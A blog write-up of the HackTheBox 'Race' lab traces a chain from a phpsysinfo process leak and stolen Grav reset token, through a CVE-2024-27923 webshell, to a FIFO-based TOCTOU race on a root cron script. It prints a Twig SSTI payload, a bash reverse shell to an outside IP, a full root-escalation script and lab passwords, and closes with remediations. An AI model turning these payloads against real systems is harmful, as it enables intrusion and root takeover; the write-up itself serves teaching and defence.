DEV Community

Cover image for HackTheBox : Race Writeup
Yogeshwar Peela
Yogeshwar Peela

Posted on • Originally published at exploitnotes.hashnode.dev

HackTheBox : Race Writeup

Summary

Race is a Linux box built around Grav CMS. The path in is a chain of small
information leaks rather than one big bug: an exposed phpsysinfo instance
with default creds leaks a process list, the process list leaks SFTP backup
credentials, those credentials get you into the Grav admin panel as a
low-privilege backup account, and the site backup feature (which that
account can trigger) hands you the whole Grav filesystem - including a
patrick account with a leftover password-reset token. Abusing the
forgot-password flow together with repeated backups lets you mint a fresh
reset token for patrick and take over that account. Patrick has partial
admin rights (page editing), which is enough to hit CVE-2024-27923
(arbitrary file write via the page/form save mechanism) and drop a PHP
webshell, giving code execution as www-data. From there, a hardcoded
credential embedded in a backup script's comments gets you SSH access as
max (user flag). Root is a classic TOCTOU (time-of-check/time-of-use)
race condition: a root cron job validates a script's MD5 before running it,
but the script lives in a directory max can write to, so swapping the
file between the check and the execution wins root (hence the box's name).


Recon

Nmap

Full TCP port sweep with service/OS detection:

nmap -A -p- -o nmap 10.129.234.209
Enter fullscreen mode Exit fullscreen mode
Nmap scan report for 10.129.234.209
Host is up (0.27s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 62:b0:1e:c5:e8:81:5c:94:39:ed:37:7e:21:cf:b1:a8 (ECDSA)
|_  256 37:a3:d3:cd:35:dc:cc:d8:db:3c:c3:4d:ad:22:29:a9 (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: "Site doesn't have a title (text/html)."
Device type: general purpose
Running: Linux 4.X|5.X
OS details: Linux 4.15 - 5.19
Enter fullscreen mode Exit fullscreen mode

Just two ports open - SSH and a bare Apache instance with no title on
/, which is what pushed straight into content discovery on port 80 to
find whatever's actually being served under it.

Standard directory brute force against the Grav site turned up the admin
panel and a handful of other paths:

feroxbuster -u http://race.vl -C 403,404
Enter fullscreen mode Exit fullscreen mode

feroxbuster output (click to expand)

200      GET        8l       16w      163c http://race.vl/
301      GET        9l       28w      303c http://race.vl/racers => http://race.vl/racers/
301      GET        9l       28w      308c http://race.vl/racers/user => http://race.vl/racers/user/
301      GET        9l       28w      307c http://race.vl/racers/tmp => http://race.vl/racers/tmp/
301      GET        9l       28w      307c http://race.vl/racers/bin => http://race.vl/racers/bin/
301      GET        9l       28w      309c http://race.vl/racers/cache => http://race.vl/racers/cache/
301      GET        9l       28w      310c http://race.vl/racers/images => http://race.vl/racers/images/
301      GET        9l       28w      308c http://race.vl/racers/logs => http://race.vl/racers/logs/
200      GET      128l      629w    11357c http://race.vl/racers/admin
200      GET      180l      632w    10399c http://race.vl/racers/login
301      GET        9l       28w      310c http://race.vl/racers/backup => http://race.vl/racers/backup/
301      GET        9l       28w      316c http://race.vl/racers/user/plugins => http://race.vl/racers/user/plugins/
301      GET        9l       28w      310c http://race.vl/racers/assets => http://race.vl/racers/assets/
301      GET        9l       28w      315c http://race.vl/racers/user/images => http://race.vl/racers/user/images/
301      GET        9l       28w      315c http://race.vl/racers/user/themes => http://race.vl/racers/user/themes/
200      GET      140l     1088w    11404c http://race.vl/racers/home
Enter fullscreen mode Exit fullscreen mode

The important hit is /racers/admin - a Grav admin login page
 .

The site is running under a /racers/ sub-path, and separately
feroxbuster turned up a phpsysinfo install directly on the box's IP
(outside the race.vl vhost).

Early on I'd added race.vl to /etc/hosts pointing at the target IP so
the vhost-based Grav site would resolve. That's normally fine, but it
started causing problems partway through - requests through the race.vl
name were behaving inconsistently (stale responses / redirect weirdness)
in a way that didn't match what I was seeing when hitting the IP directly.
Rather than chase that down, I just pulled the race.vl entry back out of
/etc/hosts and worked against http://machine-ip/racers/... directly
for the rest of the engagement - the /racers/ path prefix doesn't
actually need the vhost to resolve, so nothing was lost by dropping it.

Initial Foothold - phpsysinfo leaks backup creds

phpsysinfo prompted for basic auth. admin:admin worked immediately -
a default/weak credential left on an exposed monitoring page
 .

phpsysinfo shows a live process tree, which is effectively a free process
listing without needing a shell. Scrolling through it, one entry stood out

  • a cron chain ending in a curl command with credentials in the command line  :
/usr/bin/curl --insecure --connect-timeout 60 -u backup:Wedobackupswithsecur3password5.Noonecanhackus! -T /var/www/html/racers/backup/ sftp://offsite-backup.race.vl/backups/
Enter fullscreen mode Exit fullscreen mode

That's a backup script authenticating to an offsite SFTP host with a
cleartext username/password sitting right there in ps output, visible to
anyone who can view the process list.

Trying that credential over SSH failed (the backup account isn't a real
shell user), but it worked as a Grav admin login:

sshpass -p 'Wedobackupswithsecur3password5.Noonecanhackus!' ssh backup@machine-ip
Enter fullscreen mode Exit fullscreen mode

That failed - but logging into /racers/admin with backup /
Wedobackupswithsecur3password5.Noonecanhackus! succeeded:

"You have been successfully logged in" - logged in as Ba C. Kup

The backup account is intentionally low-privilege in Grav, but it does
have access to Tools > Backup. Excluding a few large/irrelevant
directories from the backup job and clicking "Backup Now" produces a
downloadable zip of essentially the whole Grav install
 :

unzip default_site_backup--20260715104813.zip -d extracted
Enter fullscreen mode Exit fullscreen mode

That zip is a goldmine. Grav is a flat-file CMS - there's no database, so
everything, including user accounts, lives on disk as plain files. The
site's directory layout also closely mirrors the public
getgrav/grav GitHub repo, which meant I
already had a rough map of where the interesting stuff would be before
even unzipping.

The first thing worth checking in any CMS export is what's actually
running, since that determines which public exploits are even in scope:

cat system/defines.php | grep -i grav_version
Enter fullscreen mode Exit fullscreen mode
define('GRAV_VERSION', '1.7.43');
Enter fullscreen mode Exit fullscreen mode

1.7.43 is old enough to be interesting - worth keeping in mind for later.

The second and more immediately useful thing to look for is exactly the
kind of file that would never normally be readable by an unauthenticated
or low-privileged user: the account store. In a flat-file CMS like Grav,
that's user/accounts/, one YAML file per user. These files are sensitive
for an obvious reason - each one holds the account's email, full name,
hashed_password, and its full access permission block (whether it's a
super admin, what it's allowed to configure, etc.). Getting a backup
export to hand you all of that in one zip is effectively getting a copy of
the CMS's entire authentication and authorization database, something a
backup-role account should never be able to walk away with:

cat user/accounts/backup.yaml
Enter fullscreen mode Exit fullscreen mode
state: enabled
email: backup@race.vl
fullname: 'Ba C. Kup'
hashed_password: $2y$10$drGaFWuga2r3uPcQXqSEueEEru4hlWvYu.BixWiisEHdgFNi.BwYK
access:
  admin:
    login: true
    maintenance: true
Enter fullscreen mode Exit fullscreen mode

That confirms the account I'm already logged in as - useful mainly to see
exactly what access scope this hash's account actually has (maintenance,
which is what let the backup feature itself run). Next, the account with
the most interesting name in the list:

cat user/accounts/admin.yaml
Enter fullscreen mode Exit fullscreen mode
state: enabled
email: admin@race.vl
fullname: 'Admin I. Strator'
hashed_password: $2y$10$/e6nnqGJ6un4X6wKPpyeNecHf8wyZ.G//0Q7XhLLuQ15v7sEzKVzS
access:
  admin: {login: true, super: true}
  site: {login: true}
Enter fullscreen mode Exit fullscreen mode

Full super: true - the actual admin account, and the obvious target if
its hash were crackable. And the third account on the box:

cat user/accounts/patrick.yaml
Enter fullscreen mode Exit fullscreen mode
state: enabled
email: patrick@race.vl
fullname: 'Patrick P. Rick'
hashed_password: $2y$10$TWyPZQDqMZJJ/0pLdWUbY.TxVKVMHP3LzfUTo3BYWFRID7uXaoXcC
reset: '553e7719d2674ae2bfb29eb0aaa806d0::1701718773'
access:
  site: {login: true}
  admin:
    login: true
    super: false
    configuration: {system: true, site: true, media: false, security: false, info: false, pages: false, users: false}
    pages: true
    maintenance: true
    themes: true
Enter fullscreen mode Exit fullscreen mode

This one's the interesting outlier - not super, but it does have
pages: true and themes: true, meaning patrick can edit page content.
More importantly it has a reset: field that neither of the other two
accounts have. Grav writes that field temporarily whenever a
forgot-password request is in flight - it's token::expiry_timestamp, and
it's meant to be transient and only ever revealed to the user via the
reset email link. Seeing it sitting in a plaintext file export is exactly
the kind of thing that shouldn't be exportable, since it turns "email-only
delivery" into "readable by anyone who can trigger a backup."

All three password hashes were bcrypt and not worth attacking directly -
the admin login page itself enforces a 32-character minimum password
length, which rules out realistic offline cracking regardless of hash
type.

So the two useful findings out of this whole export were: the Grav
version (1.7.43, pointing at known CVEs), and the fact that a live reset
token for a semi-privileged account leaks straight into every backup zip -
which is exploitable even though this specific token had already
expired.

Privilege Chain - stealing a fresh reset token for patrick

The expired token in the backup wasn't directly usable, but it revealed
the reset URL structure Grav uses:

/racers/admin/reset/u/{username}/{token}
Enter fullscreen mode Exit fullscreen mode

Requesting it with the stale token still returned an HTTP 200 (form
rendered), confirming the route works even though the token itself was
expired:

curl -s -c cookies.txt -o /dev/null -w "%{http_code}\n" \
"http://machine-ip/racers/admin/reset/u/patrick/553e7719d2674ae2bfb29eb0aaa806d0"
Enter fullscreen mode Exit fullscreen mode
200
Enter fullscreen mode Exit fullscreen mode

So the plan became: trigger a new reset request for patrick, then
use the backup account (which has maintenance: true and can run
backups) to pull a fresh site backup and read the new token straight out
of patrick.yaml, all without ever touching patrick's email.

  1. Go to /racers/admin/forgot, submit patrick@race.vl
     .

  2. Log back in as backup and run Backup Now again, download the new
    zip, and pull the updated account file:

unzip -p default_site_backup--20260715114723.zip user/accounts/patrick.yaml
Enter fullscreen mode Exit fullscreen mode
...
reset: 'ceacac2bae4c132a6fcddbeadb776b81::1784118502'
...
Enter fullscreen mode Exit fullscreen mode
  1. Visit the reset URL with the new token, which pre-fills the username
    and prompts for a new password
     . Reusing a variant of the
    backup password (to satisfy the 32-character minimum) and submitting
    resets patrick's password successfully.

  2. Log in as patrick with the new password
     .

Patrick has partial admin rights - page/theme editing, but not full
super access and not user management.

RCE - Grav SSTI / arbitrary file write (CVE-2024-27923)

Grav 1.7.43 is vulnerable to two relevant advisories:

I tried the first one directly in the page editor
 :

{% set arr = {'1':'system', '2':'foo'} %}
{{ var_dump(grav.twig.twig_vars['config'].set('system.twig.safe_functions', arr)) }}
{{ system('id') }}
Enter fullscreen mode Exit fullscreen mode

That saved fine but didn't yield code execution in this instance, so I
moved to CVE-2024-27923 instead, which abuses Grav's form-save feature to
write a page containing a "form" whose file-save action can be pointed at
an arbitrary filename/extension - including .phar/.php-executable
content. The public PoC does this in three steps: log in, create a page
with a malicious form definition (process.save.filename = the target
PHP filename), then submit the form with a PHP payload as the "answer",
which Grav happily writes to disk under user/data/<form-name>/<filename>.

Adjusting the PoC's credentials to patrick / the freshly reset password:

python3 poc.py
Enter fullscreen mode Exit fullscreen mode
[*] Try to Login
[*] Success Login
[*] Try to write page
[*] Success write page: http://machine-ip/racers//this_is_poc_page47
[*] Try to inject php code
[*] Success inject php code
[*] This is uploaded php file url.
http://machine-ip/racers//user/data/contact-form/universe.phar?cmd=id
-
  name: 'uid=33(www-data) gid=33(www-data) groups=33(www-data)
'
Enter fullscreen mode Exit fullscreen mode

Confirmed code execution as www-data:

curl 'http://machine-ip/racers/user/data/contact-form/universe.phar?cmd=whoami'
Enter fullscreen mode Exit fullscreen mode
-
  name: 'www-data
'
Enter fullscreen mode Exit fullscreen mode

Upgraded to an interactive shell with a reverse shell one-liner through
the same webshell parameter:

curl -G --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/10.10.15.223/4444 0>&1"' \
  'http://machine-ip/racers/user/data/contact-form/universe.phar'
Enter fullscreen mode Exit fullscreen mode

Caught with a listener:

[+] [New Reverse Shell] => race 10.129.234.209 Linux-x86_64 www-data(33)
www-data@race:/var/www/html/racers/user/data/contact-form$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Enter fullscreen mode Exit fullscreen mode

User - leaked backup credential in a script's comments

Enumerating home directories:

cat /etc/passwd | grep bash
Enter fullscreen mode Exit fullscreen mode
root:x:0:0:root:/root:/bin/bash
patrick:x:1000:1000:Patrick:/home/patrick:/bin/bash
max:x:1001:1001::/home/max:/bin/bash
Enter fullscreen mode Exit fullscreen mode

max owns race-scripts in their home directory. A closer look shows
it's not an actual folder - it's a symlink into
/usr/local/share/race-scripts:

ls -la /home/max
Enter fullscreen mode Exit fullscreen mode
total 36
drwxr-xr-x 5 max  max  4096 Dec  9  2023 .
drwxr-xr-x 4 root root 4096 Dec  3  2023 ..
lrwxrwxrwx 1 root root    9 Dec  3  2023 .bash_history -> /dev/null
-rw-r--r-- 1 max  max   220 Jan  6  2022 .bash_logout
-rw-r--r-- 1 max  max  3771 Jan  6  2022 .bashrc
drwx------ 2 max  max  4096 Dec  3  2023 .cache
drwxrwxr-x 3 max  max  4096 Dec  9  2023 .local
-rw-r--r-- 1 max  max   807 Jan  6  2022 .profile
drwxrwxr-x 2 max  max  4096 Dec  4  2023 bin
lrwxrwxrwx 1 max  max    29 Dec  9  2023 race-scripts -> /usr/local/share/race-scripts
-rw-r----- 1 root max    33 Jul 15 10:46 user.txt
Enter fullscreen mode Exit fullscreen mode

That symlink is the tell - it means whatever's in race-scripts isn't
just something max happens to own, it's a pointer at a shared location
that other things on the box (like root's cron) also reach through. That
made /usr/local/share/race-scripts worth inspecting directly rather than
just following the symlink and assuming it was purely max's own stuff.
The offsite-backup.sh script there had the SFTP credentials commented
out "for security", but the old values were left right in the file:

cat /usr/local/share/race-scripts/offsite-backup.sh
Enter fullscreen mode Exit fullscreen mode
#!/usr/bin/bash
OFFSITE_HOST="offsite-backup.race.vl"
SOURCE_DIR="/var/www/html/racers/backup/"
# Disabled USER/PASS for security reasons. Will be provided via environment from cron.
# OFFSITE_USER="max"
# OFFSITE_PASS="ruxai0GaemaS1Rah"
/usr/bin/curl --insecure --connect-timeout 60 -u $OFFSITE_USER:$OFFSITE_PASS -T $SOURCE_DIR sftp://$OFFSITE_HOST/backups/
Enter fullscreen mode Exit fullscreen mode

Commenting out a credential doesn't remove it from the file - and it
turned out to be max's actual login password, not just the SFTP one:

ssh max@machine-ip
Enter fullscreen mode Exit fullscreen mode
max@10.129.234.209's password: ruxai0GaemaS1Rah
...
max@race:~$ cat user.txt
[REDACTED]
Enter fullscreen mode Exit fullscreen mode

Root - TOCTOU race condition on a "signed" cron script

sudo -l was a dead end:

max@race:~$ sudo -l
Sorry, user max may not run sudo on race.
Enter fullscreen mode Exit fullscreen mode

The process list (seen earlier from www-data, and confirmed again as
max) showed a root cron job calling a wrapper script:

root  /usr/sbin/CRON -f -P
 \_ /bin/sh -c /usr/local/bin/secure-cron-runner.sh
     \_ /usr/bin/bash /usr/local/bin/secure-cron-runner.sh
         \_ /usr/bin/bash /usr/local/share/race-scripts/offsite-backup.sh
             \_ /usr/bin/curl --insecure -u backup:... -T ... sftp://offsite-backup.race.vl/backups/
Enter fullscreen mode Exit fullscreen mode

The runner script itself tries to be careful - it MD5-checks each script
before executing it, using a hardcoded "known good" hash:

cat /usr/local/bin/secure-cron-runner.sh
Enter fullscreen mode Exit fullscreen mode
#!/usr/bin/bash
. /root/conf/secure-cron-runner.env
declare -a scripts
declare -a sigs
## 0 = offsite-backup by max
scripts[0]="/usr/local/share/race-scripts/offsite-backup.sh"
sigs[0]="d15804b944b40ca8540d37ed6bd80906"
elems=${#scripts[@]}
for (( j=0; j<${elems}; j++ )) ; do
  sig=$(/usr/bin/md5sum ${scripts[$j]} | awk '{print $1}')
  if [[ "x$sig" == "x${sigs[$j]}" ]] ; then
    ${scripts[$j]}
  else
    :
  fi
done
Enter fullscreen mode Exit fullscreen mode

That's a classic time-of-check to time-of-use (TOCTOU) bug: the script
computes the MD5 of offsite-backup.sh and then, as a separate step,
executes whatever is currently at that path. The two operations aren't
atomic, so if the file at that path can change between the hash check and
the execution, the hash check becomes meaningless.

Crucially, the directory holding the script is group-writable and max
is in that group:

ls -ld /usr/local/share/race-scripts
Enter fullscreen mode Exit fullscreen mode
drwxrwsr-x 3 root racers 4096 Dec  9  2023 /usr/local/share/race-scripts
Enter fullscreen mode Exit fullscreen mode
max@race:~$ groups
max racers
Enter fullscreen mode Exit fullscreen mode

Being in the racers group with write+setgid on the directory means
max can freely rename/replace files inside it, even though the files
themselves are owned by root.

Instead of trying to win a tight timing race by looping a swap against a
guessed cron interval, I used a named pipe (FIFO) to remove the timing
problem entirely. A FIFO blocks on read until something writes to it - so
if offsite-backup.sh is a FIFO the moment root's md5sum opens it,
that md5sum process just hangs there indefinitely, holding the file open
and waiting. That buys unlimited time to swap the pipe out for a payload
under the real filename and only then feed the legitimate script's bytes
into the (now differently-named) pipe, so the still-blocked md5sum gets
back the correct hash right when I choose to release it.

First, initial manual attempts confirmed the mechanism worked (root's
md5sum really does block on the FIFO), but timing the swap by hand
against the wrong blocked process wasted a few cron cycles. I wrapped the
whole sequence into a script instead, so the swap fires the instant the
right md5sum PID is caught rather than relying on eyeballing pspy:

#!/bin/bash
REAL=/tmp/offsite-backup.sh.bak
PAYLOAD=/tmp/pwn.sh

cd /usr/local/share/race-scripts || exit 1

cp offsite-backup.sh "$REAL"

cat > "$PAYLOAD" << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod +sx /tmp/rootbash
EOF
chmod +x "$PAYLOAD"

mv offsite-backup.sh offsite-backup.sh.real
mkfifo offsite-backup.sh

echo "[*] FIFO placed. Waiting for root's md5sum to open it..."

PID=""
while [ -z "$PID" ]; do
    PID=$(pgrep -f "md5sum $PWD/offsite-backup.sh" | head -n1)
    sleep 0.05
done
echo "[*] Caught blocked md5sum PID=$PID - swapping now"

mv offsite-backup.sh pwned
cp "$PAYLOAD" offsite-backup.sh
chmod +x offsite-backup.sh
cat "$REAL" > pwned &

sleep 1
if ! kill -0 "$PID" 2>/dev/null; then
    echo "[+] md5sum PID $PID exited - check completed"
else
    echo "[!] PID $PID still alive - feed may not have unblocked it, check manually"
fi

echo "[*] Waiting for /tmp/rootbash..."
for i in $(seq 1 90); do
    if [ -f /tmp/rootbash ]; then
        echo "[+] Got it:"
        ls -l /tmp/rootbash
        exit 0
    fi
    sleep 1
done
echo "[-] Timed out, /tmp/rootbash never appeared - retry"
Enter fullscreen mode Exit fullscreen mode

Same mechanics as before, just automated end to end:

  • pgrep -f "md5sum $PWD/offsite-backup.sh" polls until it actually catches root's md5sum blocked on the FIFO, instead of eyeballing pspy output and swapping by hand.
  • The swap and feed happen back-to-back the moment that PID shows up.
  • kill -0 "$PID" confirms the targeted md5sum process actually exited right after the feed - i.e. it really was the one that got unblocked.
  • The final loop just polls for /tmp/rootbash to appear once secure-cron-runner.sh gets past the (now-satisfied) check and executes the payload.

Run it from max's shell, from inside
/usr/local/share/race-scripts (matches where the script itself expects
to operate and where the FIFO needs to sit):

max@race:/usr/local/share/race-scripts$ bash /tmp/race.sh
Enter fullscreen mode Exit fullscreen mode
[*] FIFO placed. Waiting for root's md5sum to open it...
[*] Caught blocked md5sum PID=1966 - swapping now
[+] md5sum PID 1966 exited - check completed
[*] Waiting for /tmp/rootbash...
[+] Got it:
-rwsr-sr-x 1 root root 1396520 Jul 17 08:05 /tmp/rootbash
Enter fullscreen mode Exit fullscreen mode
max@race:/usr/local/share/race-scripts$ /tmp/rootbash -p
rootbash-5.1# whoami
root
rootbash-5.1# id
uid=1001(max) gid=1001(max) euid=0(root) egid=0(root) groups=0(root),1001(max),1002(racers)
rootbash-5.1# groups
max root racers
rootbash-5.1# cat /root/root.txt
[REDACTED]
Enter fullscreen mode Exit fullscreen mode

Root.


Key Vulnerabilities

  1. Exposed phpsysinfo with default credentials (admin:admin) - gave a live process list to an unauthenticated (well, trivially authenticated) attacker.
  2. Credentials passed on the command line - the offsite backup curl command embedded -u user:password directly, visible to anyone who can read /proc or a process listing.
  3. Credential reuse - the SFTP backup password doubled as valid credentials for the Grav admin panel.
  4. Backup feature exposed to a low-privilege admin account - the backup user could export the entire site filesystem, including all user account YAML files (password hashes, and any live reset tokens).
  5. Password-reset token disclosure via backup export - resetting a user's password and then reading the resulting token out of a full site backup completely bypasses the "token is emailed to the user" security assumption.
  6. CVE-2024-27923 - Grav's form/page save mechanism allows an authenticated editor to write arbitrary files (including PHP) to disk, yielding remote code execution. https://github.com/getgrav/grav/security/advisories/GHSA-f6g2-h7qv-3m5v
  7. CVE-2024-28116 - Twig sandbox bypass via safe_functions/ safe_filters config manipulation (present in this version, though the specific payload used in this run didn't pop; CVE-27923 was used instead). https://github.com/getgrav/grav/security/advisories/GHSA-c9gp-64c4-2rrh
  8. Secrets left in comments - offsite-backup.sh had its real credentials "disabled" via comments but still present in plaintext.
  9. TOCTOU race condition in secure-cron-runner.sh - MD5 verification and script execution are not atomic, and the script's directory is writable by a non-root group, allowing a low-privilege group member to substitute a named pipe (FIFO) for the script, indefinitely stall root's hash check, then swap in an arbitrary payload under the real filename before releasing the check with the legitimate content - defeating the signature check without needing to win an actual timing race.

Attack Chain

phpsysinfo (admin:admin)
  -> process list leaks backup:<password>
    -> Grav admin login as "backup"
      -> site backup export leaks all user account YAMLs + Grav version
        -> trigger forgot-password for patrick + re-export backup
          -> read fresh reset token from patrick.yaml
            -> reset patrick's password, log in as patrick
              -> CVE-2024-27923 arbitrary file write -> PHP webshell
                -> RCE as www-data -> reverse shell
                  -> credential leaked in offsite-backup.sh comments
                    -> SSH as max (user.txt)
                      -> FIFO-blocked TOCTOU on secure-cron-runner.sh
                        -> SUID bash as root (root.txt)
Enter fullscreen mode Exit fullscreen mode

Remediations

  • Remove or properly authenticate/segregate diagnostic tools like phpsysinfo; never leave default credentials in place.
  • Never pass credentials via command-line arguments; use config files, environment files with restricted permissions, or credential managers - and confirm they aren't readable via ps//proc.
  • Enforce unique credentials per service; a backup/SFTP password should never also work as an application admin login.
  • Restrict the Grav backup feature to fully trusted/super admin accounts only, and exclude the user/accounts directory (or encrypt it) from exportable backups.
  • Treat password reset tokens as sensitive regardless of delivery mechanism; invalidate/rotate them if a backup or export could expose them, and avoid persisting live tokens in files that are trivially exportable.
  • Patch Grav to >= 1.7.45 to remediate CVE-2024-28116 and update past the version affected by CVE-2024-27923.
  • Never leave real credentials in comments "for security" - delete them entirely and rely on the environment-file mechanism exclusively.
  • Fix the TOCTOU pattern in secure-cron-runner.sh: verify and execute the same file descriptor (e.g., open the file once, hash the open FD, then execute from that FD/a copy in a root-owned, non-group-writable location) rather than re-reading the path twice. Reject non-regular files (FIFOs, symlinks, sockets) outright before hashing, so a pipe can't be substituted for the script in the first place. Additionally, remove group-write access from /usr/local/share/race-scripts so non-root users cannot modify scripts that root's cron will execute.

Top comments (0)